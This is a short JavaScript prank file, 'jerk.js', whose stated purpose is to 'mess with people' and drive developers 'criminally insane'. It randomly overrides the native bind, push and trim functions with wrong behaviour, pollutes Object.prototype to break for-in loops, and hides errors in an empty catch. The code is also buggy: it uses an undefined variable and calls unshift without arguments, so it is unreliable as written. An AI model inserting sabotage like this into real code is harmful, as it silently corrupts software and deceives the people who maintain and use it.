jerk.js

this.Jerk = (function(){
    // summary: Be a jerk.
    //
    // description:
    //      Mess with people. Extend prototypes, use faulty (read: wrong) 
    //      implementations. Better yet, do it randomly. Bonus points if 
    //      someone becomes criminally insane from debugging.
    //
    
    var threshold = 0.5; // how often do we want to fuck with folks. 
    
    // try to be as quiet and unhelpful as possible:
    try{
        
        var ha = {}, ws = " ",

            // alises
            p = "prototype", 
            ap = Array[p], sp = String[p], fp = Function[p],
            dp = Date[p], np = Number[p],
        
            lol = function(yah){
                // summary: the randomizer. return true always if no `yah` (usually a ref 
                // to the native) because there is no native version to call, so always 
                // take the random ish path if no native existed.
                return yah ? Math.random() > threshold : true;
            },

            // keep hold of the origials, just in case we want to actually use them
            ob = fp.bind,
            op = ap.push,
            ot = st.trim

        ;
        
        fp.bind = function(){
            // summary: randomly always force the context of the returned function to 
            // our object literal 'ha', which will be of no use to anyone. 
            var me = this;
            return lol(ob) ? function(){
                me.apply(ha, arguments);
            } : ob.apply(this, arguments);
        };
        
        ap.push = function(){
            // summary: randomly unshift intead of push.
            return lol(op) ? this.unshift() : op.apply(this, arguments);
        }
        
        st.trim = function(){
            // summary: randomly add whitespace rather than remove it
            return lol(ot) ? ws + this + ws : ot.call(this);
        }
        
        if(lol(lol(lol(1)) && lol(lol(1) && lol(1)))){
            Object.prototype._justMessWithForInAndNoHasOwnPropertyCheck = true; 
        }
        
    }catch(e){}
    
    return {};
    
})();